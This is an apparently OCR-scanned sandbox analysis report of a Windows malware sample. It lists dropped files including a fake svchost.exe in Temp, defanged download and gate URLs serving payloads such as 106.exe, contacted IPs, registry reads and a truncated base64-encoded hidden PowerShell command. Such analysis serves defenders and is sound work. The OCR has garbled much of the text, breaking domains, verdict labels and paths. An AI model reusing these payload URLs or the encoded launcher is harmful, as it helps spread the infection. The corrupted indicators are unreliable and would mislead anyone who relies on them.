C:\Users\kEecfMwgj\AppData\Local\Default\src\mails\yahoo.js Accessed File, Dropped File Access, Create, Write CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\M odules\PSWorkflow Accessed File Access CLEAN

\PSWorkflow.psdl

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\User Pinned\TaskBar\Windows Media Accessed File Access CLEAN
Player.Ink

C:\Program

Files\WindowsPower Shell\Modules\Microsoft.Power Shell. Command Accessed File Access CLEAN

s.Management\Microsoft. Power Shell. Commands.Management.dll

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft. Windows.Diagnosis.T

roubleshootingPack\Microsoft.Windows.Diagnosis. TroubleshootingP Accessed File Access CEEAN
ack.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft. W Accessed File Access CLEAN

indows.Diagnosis.TroubleshootingPack

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSDiagnosti Accessed File Access CLEAN
cs\en-US\PSDiagnostics.psdl

C:
\Windows\system32\WindowsPower Shell\v1.0\M odules\Microsoft.Po Accessed File Access CLEAN
wer Shell.Utility\en-US\Microsoft.Power Shell . Utility.psd1

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po
wer Shell. Commands.Management\Microsoft.Power Shell. Command
s.Management.dil

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\NetworkSwi Accessed File Access CLEAN
tchManager\NetworkSwitchManager.psdl
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C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo
tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack\Micros
oft. Windows.Diagnosis.TroubleshootingPack.xaml

Accessed File Access CLEAN

C:\Windows Accessed File Access CLEAN

C:\Program Files
(x86)\WindowsPower Shell\Modules\PackageM anagement\Package Accessed File Access CLEAN
Management.psm1

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po
wer Shell. Management\Microsoft.Power Shell. Commands.Manageme
nt.dll

Accessed File Access CLEAN

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer
\Microsoft.BackgroundintelligentTransfer.Management\Microsoft.Bac
kgroundintelligentTransfer.Management.psm1

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Modules.cdx ~ Accessed File Access CLEAN
ml

C:\Program

Files\WindowsPower Shell\Modules\Microsoft.BackgroundintelligentT
ransfer.Management\Microsoft.BackgroundintelligentTransfer.Manage
ment.ni.dll

Accessed File Access CLEAN

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft. W
indows.Diagnosis.TroubleshootingPack\Microsoft.Windows.Diagnosi
s.TroubleshootingPack.xaml

Accessed File Access CLEAN

C:
\Windows\Microsoft. NET\Framework\v4.0.30319\config\machine.con Accessed File Access, Read CLEAN
fig
C:\Users\kEecfMwgj\AppData\Local\Default\src\mails Accessed File Access, Create CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSDiagnosti Accessed File Access CLEAN

cs\en\PSDiagnostics.psdl
C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN
tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack.psm1

C:\Program Files

(x86)\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.n Accessed File Access CLEAN
i.di

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\PSDiagnosti Accessed File Access CLEAN

cs\PSDiagnostics

C:\Program

Files\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.x Accessed File Access CLEAN
aml

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions Accessed File Access, Create CLEAN

C:\Program Files
(x86)\WindowsPower Shell\Modules\Power ShellGet\1.0.0.1\en- Accessed File Access CLEAN
US\Power ShellGet.psdl

C:
\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.Po
wer Shell.Local Accounts\1.0.0.0\Microsoft. Power Shell.Local Accounts.
psdl

Accessed File Access CLEAN

C:\Program
Files\WindowsPower Shell\Modules\Microsoft.BackgroundintelligentT
ransfer.Management\Microsoft.BackgroundintelligentTransfer.Manage
ment.psm1

Accessed File Access CLEAN

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Ba
ckgroundintelligentTransfer.Management\Microsoft.Backgroundintelli
gentTransfer.Management.xaml|

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftPo  Accessed File Access CLEAN
werShell.Security
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C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftPo  Accessed File Access, Read CLEAN

wer Shell. Management\Microsoft.Power Shell.Management.psdl

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer Accessed File Access CLEAN
(2).Ink

C:\Users\kEecfMwgj\AppData\Local\Default\src Accessed File Access, Create CLEAN
C:

\Windows\system32\WindowsPowerShellvL.OModules\CimCmdlets ~ Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN
\Microsoft.BackgroundintelligentTransfer.Management.psm1

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\Shows Desktop.Ink Accessed File Access CLEAN

C:\Program
Files\WindowsPower Shell\Modules\Microsoft.BackgroundintelligentT
ransfer.Management\Microsoft.BackgroundintelligentTransfer.Manage
ment.cdxml|

Accessed File Access CLEAN

C:\Program Files

(x86)\WindowsPower Shell\Modules\Microsoft.Windows.Diagnosis.T
roubleshootingPack\Microsoft. Windows.Diagnosis. TroubleshootingP
ack.ni.dll

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN
tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\PSSchedule Accessed File Access, Read CLEAN
dJob\PSScheduledJob.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer
\Microsoft.BackgroundintelligentTransfer.Management\Microsoft.Bac
kgroundintelligentTransfer.Management.dl|

Accessed File Access CLEAN

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch\Window Switcher.Ink Accessed File Access CLEAN

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\proxy.js Accessed File, Dropped File Access, Create, Write CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN

tingPack\en-US\TroubleshootingPack.psdl

C:
\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft. W
indows.Diagnosis.TroubleshootingPack\Microsoft. Windows.Diagnosi
s.TroubleshootingPack.cdxml

Accessed File Access CLEAN

C:\Program

Files\WindowsPower Shell\Modules\Power ShellGet\1.0.0.1\PSModul Accessed File Access CLEAN
e.psml

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN

tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack.psdl

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo
tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack\Micros
oft.Windows.Diagnosis. TroubleshootingPack.psm1

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po Accessed File Access CLEAN
wer Shell.Utility\en\Microsoft.Power Shell . Utility.psd1

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\MicrosoftBa  Accessed File Access CLEAN
ckgroundintelligentTransfer.Management

C:\Users\kEecfMwgj\AppData\Local\Default\src\functions\utils.js Accessed File, Dropped File Access, Create, Write CLEAN
C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access CLEAN

tingPack\Microsoft.Windows.Diagnosis.TroubleshootingPack
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C:
\Users\KEECFM~1\AppData\Local\Temp\5ZINW s5LVhHy2g2\svcho Accessed File, Dropped File Access, Create, Write CLEAN
st.exe
C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft. W
indows.Diagnosis.TroubleshootingPack\Microsoft.Windows.Diagnosi
s.TroubleshootingPack.psm1

Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Microsoft.Po
wer Shell.Commands.Utility\Microsoft.Power Shell. Commands. Utility.
dil

Accessed File Access CLEAN

C:\Program Files

(x86)\WindowsPower Shell\Modules\Power ShellGet\PowerShellGetp ~ Accessed File Access CLEAN
sml

C:

\Users\kEecfMwgj\AppData\Local\Microsofti\Windows\Power Shel\M Accessed File, Modified File Access, Create, Read, Write CLEAN
oduleAnalysisCache

C:\Users\kEecfMwgj\AppData\Local\Default\config.js Accessed File, Dropped File Access, Create, Write CLEAN
C:\Windows\System32\Wbem Accessed File Access CLEAN
C:\Program Files\WindowsPower Shell\Modules\Modules.xam| Accessed File Access CLEAN
C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN

\Microsoft.BackgroundintelligentTransfer.Management.cdxml

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft.Windows.Diagnosis.T Accessed File Access CLEAN
roubleshootingPack

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\Internet

Explorer\Quick Launch Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN
\Microsoft.BackgroundintelligentTransfer.Management.psdl

C:\Program

Files\WindowsPower Shell\Modules\Microsoft. Windows.Diagnosis.T
roubleshootingPack\Microsoft.Windows.Diagnosis. TroubleshootingP
ack.psm1

Accessed File Access CLEAN

C:\Program
Files\WindowsPower Shell\Modules\Microsoft.Windows.Diagnosis.T Accessed File Access CLEAN
roubleshootingPack

C:\Users\kEecfMwgj\AppData\Roaming\Microsoft\internet

Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.Ink Accessed File Access CLEAN

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\Troubleshoo Accessed File Access, Read CLEAN
tingPack\TroubleshootingPack.psdl

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft.Backgroundintelligent Accessed File Access CLEAN
Transfer.Management

C:\Program Files

(x86)\WindowsPower Shell\Modules\Power ShellGet\Power ShellGet.c Accessed File Access CLEAN
dxml

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN

\Microsoft.BackgroundintelligentTransfer.Management

C:\Program Files
(x86)\WindowsPower Shell\Modules\Microsoft.Backgroundintelligent

Transfer.Management\Microsoft.BackgroundintelligentTransfer.Mana Accessed File Access CEEAN
gement.dll

C:

\Windows\system32\WindowsPower Shell\v1.0\Modules\Bits Transfer Accessed File Access CLEAN
\en\BitsTransfer.psdl

C:\Program Files
(x86)\WindowsPower Shell\Modules\PackageM anagement\Package Accessed File Access CLEAN
Management.cdxml|

C:
\Windows\system32\WindowsPower Shell\v1.0\Modules\CimCmdlet Accessed File Access, Read CLEAN
s\CimCmdlets.psdl
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C:\Program Files

(x86)\WindowsPower Shell\Modules\Power ShellGet\Power ShelIGet.x

aml

C:\Users\kEecfMwgj\AppData\Local\Default\rules.json

Reduced dataset

URL

URL

hxxp://tchk-1[.Jcom/drop2.bs64

hxxp://hit-mee[.Jcom/gate2.php?
a=xHcSQvtDW{g7Lo88eYy3pZtCzb3L7/4idM 3]
VPG9e0wMiD78YsW7SkaXUBD8rjhpyarGIDP
ASNQVVKU/XrXs4maE/0gZ 1bse/
S6Y06LQLQIQLMGC72ptQxm807asUUEM 7UYA
JARmMaObEW4f360GXtALI9k1IEPYMKNzCKQ=

hxxp:/lpost-make[.Jcom/c4fel 7k.php?
cnv_id=false&payout=0,3

hxxps://tap-taptap[.Jcom/1488/106.exe

hxxp://hit-mee[.Jcom/hittest.php?
a=aiJhJyP8V6InMrv&id=0

Domain

Domain

tchk-1[.Jcom
hit-mee[.Jcom
post-make[.Jcom

tap-taptap[.Jcom

Category

Category

Contacted, Extracted

Contacted, Extracted

Contacted, Extracted

Contacted, Extracted

Contacted, Extracted

IP Address

84.21.172.160

172.67.128.98, 104.21.0.234

172.67.208.254, 104.21.53.46

172.67.128.49, 104.21.0.185

Accessed File

Accessed File, Dropped File

IP Address Country

84.21.172.160 United States

172.67.128.98, 104.21.0.234 United States

172.67.208.254, 104.21.53.46  United States

172.67.128.49, 104.21.0.185 United States

172.67.128.98, 104.21.0.234 United States

Country

United States

United States

United States

United States

Operations

Access

Access, Create, Write

HTTP Methods

GET

GET

GET

GET

GET

Protocols

DNS, TCP, HTTP

DNS, TCP, HTTP

HTTPS, DNS, TCP, HTTP

HTTPS, DNS, TCP

Verdict

CLEAN

CLEAN

MALICIOUS

CLEAN

CLEAN

CLEAN

CLEAN

MALICIOUS

CLEAN

CLEAN

CLEAN

= = e
g g g
Q

1P

IP Address Domains Country Protocols

84.21.172.160 tchk-1[.Jcom United States DNS, TCP,HTTP CLEAN
172.67.208.254 post-make[.Jcom United States HTTPS, DNS, TCP, HTTP CLEAN
104.21.53.46 post-make[.Jcom - DNS CLEAN
8.8.8.8 - United States UDP, DNS CLEAN
104.21.0.185 tap-taptap[.Jcom - DNS CLEAN
172.67.128.98 hit-mee[.Jcom United States DNS CLEAN
104.21.0.234 hit-mee[.Jcom - DNS, TCP, HTTP CLEAN
172.67.128.49 tap-taptap[.Jcom United States HTTPS, DNS, TCP CLEAN
Registry

Registry Key Operations Parent Process Name Verdict

V0 30510y siem Url UseSticlivoaddressparsing | 2068 powershellexe
H KEYﬁLOCALﬁI\_/I ACH I_N_E\SOFTWAR E\Microsoft\.NETFramework\ read, access powershell.exe
v4.0.30319\RequireCertificateEKUs
gnKIa;ﬁ;gef\lAEIr_\T/'ivrl Q}?ﬂ '—gr’: E\System\CurrentControlSet\Control\Sessi access powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\ read, access powershell.exe

v4.0.30319\UseSafeSynchronousClose
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Registry Key Operations Parent Process Name Verdict

HKEY_LOCAL_MACHINE\Software\Microsoft\Power Shell\3\PowerS

hellEngine access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\AllowDangerousUnicodeDecompositions read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\SchSendAuxRecord read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Po

werShell\ScriptBlockLogging access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows

\CurrentVersion\internet Settings access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\SystemDefaultTIsVersions read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\System\CurrentControl Set\Control\Sessi

on Manager\Environment\__PSLockdownPolicy read, access powershell.exe CEEAN

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Po

wer Shell\ScriptBlockLogging access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs ~ 2C®SS powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\

v4.0.30319\SchUseStrongCrypto read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\System.Uri. AllowAllUriEncodingExpansion access powershell.exe CLEAN

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current

Version\internet Settings\Connections access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\UseStrictRcinterimResponseHandling read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\

LegacyW PADSupport read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoftt\Windows

NT\CurrentVersion\InstallationType read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\

v4.0.30310HWRPortReuseOnSocketBind read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\

v4.0.30319\System .Net. ServicePointManager.SchSendAuxRecord access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndB access powershell.exe CLEAN
ufferPooling

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\

v4.0.30319\AllowAllUriEncodingExpansion read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\UseStrictIPv6AddressParsing read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC access powershell.exe CLEAN
lose

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft.NETFramework\

v4.0.30319 access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVersion access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

AppContext access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\.NETFramework\

v4.0.30319\UseHttpPipeliningAndBuffer Pooling read, access powershell.exe CLEAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current

Version\Internet Settings\Connections access powershell.exe CLEAN
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Registry Key Operations Parent Process Name Verdict
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\
v4.0.30319\System.Net.ServicePointManager.UseStrictRfcinterimRe access powershell.exe CLEAN
sponseHandling
HKEY_LOCAL_MACHINE\Software\Microsoft\Power Shell\3\PowerS
- I read, access powershell.exe CLEAN

hellEngine\ApplicationBase

Process

Process Name Commandline Verdict
out_4.bin.exe "C:\Users\kEecfMwgj\Desktop\out_4.bin.exe"
svchost.exe "C:\Users\KEECFM~1\AppData\Local\Temp\5ZIJNWs5LVhHy2g2\svchost.exe"

powershell -windowstyle hidden -e

JAB3ADOADgBIAHCALQBVAGIAagBIAGMAJAAGAFMAeQBzAHQAZ QBIACAATgBIAHQALIBXAG
powershell.exe UAY(gBJAGWAaQBIAG4AdAATACQA...

...ATAGKAZ QB4ACgAWWBTAHKAcWBOAGUAbBQAUAFQAZ QB4AH QALGBFAG4AYWBVAGQAaQBuU

AGCAXQABADOAVQBUAEYAOAAUAECAZ QBOAFMAJABYAGKAbgBNACgAJABAACKAKQA=
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YARA | AV

No YARA or AV matches available.
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ENVIRONMENT

Virtual Machine Information

Name

Description
Architecture

Operating System
Kernel Version

Network Scheme Name

Network Config Name

Platform Information

Platform Version
Dynamic Engine Version
Static Engine Version

AV Exceptions Version

Link Detonation Heuristics Version

Smart Memory Dumping Rules
Version

Config Extractors Version
Signature Trust Store Version
VMRay Threat Identifiers Version

YARA Built-in Ruleset Version

Software Information

Adobe Acrobat Reader Version
Microsoft Office

Microsoft Office Version
Hangul Office

Hangul Office Version

Internet Explorer Version
Chrome Version

Firefox Version

Flash Version

Java Version

System Information

Sample Directory
Computer Name
User Domain
User Name

User Profile

Temp Directory

win7_64_spl_en_ms02016

win7_64_spl_en_mso2016

x86 64-bit

Windows 7

6.1.7601.18741 (2e37f962-d699-492c-aaf3-f9f4e9770b1d)
Local Gateway

Local Gateway

2023.1.0

2023.1.0/ 01/31/2023 04:27
2023.1.0.0 / 2023-01-31 03:00:19
2023.1.1.6 / 2023-02-03 15:34:21

2023.1.1.12 / 2023-02-20 08:47:29

2023.1.1.6 / 2023-02-03 15:34:21

2023.1.1.13/ 2023-02-24 09:02:43
2023.1.1.7 / 2023-02-06 18:37:42
2023.1.1.13/ 2023-02-24 09:02:43

2023.1.1.13

Not installed
2016
16.0.4266.1001
Not installed
Not installed
8.0.7601.17514
Not installed
Not installed
Not installed

8.0.1710.11

C:\Users\kEecfMwgj\Desktop
QIIATRKPRH

QIIATRKPRH

kEectMwgj
C:\Users\kEecfMwgj

C:\Users\KEECFM~1\AppData\Local\Temp
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System Root C:\Windows
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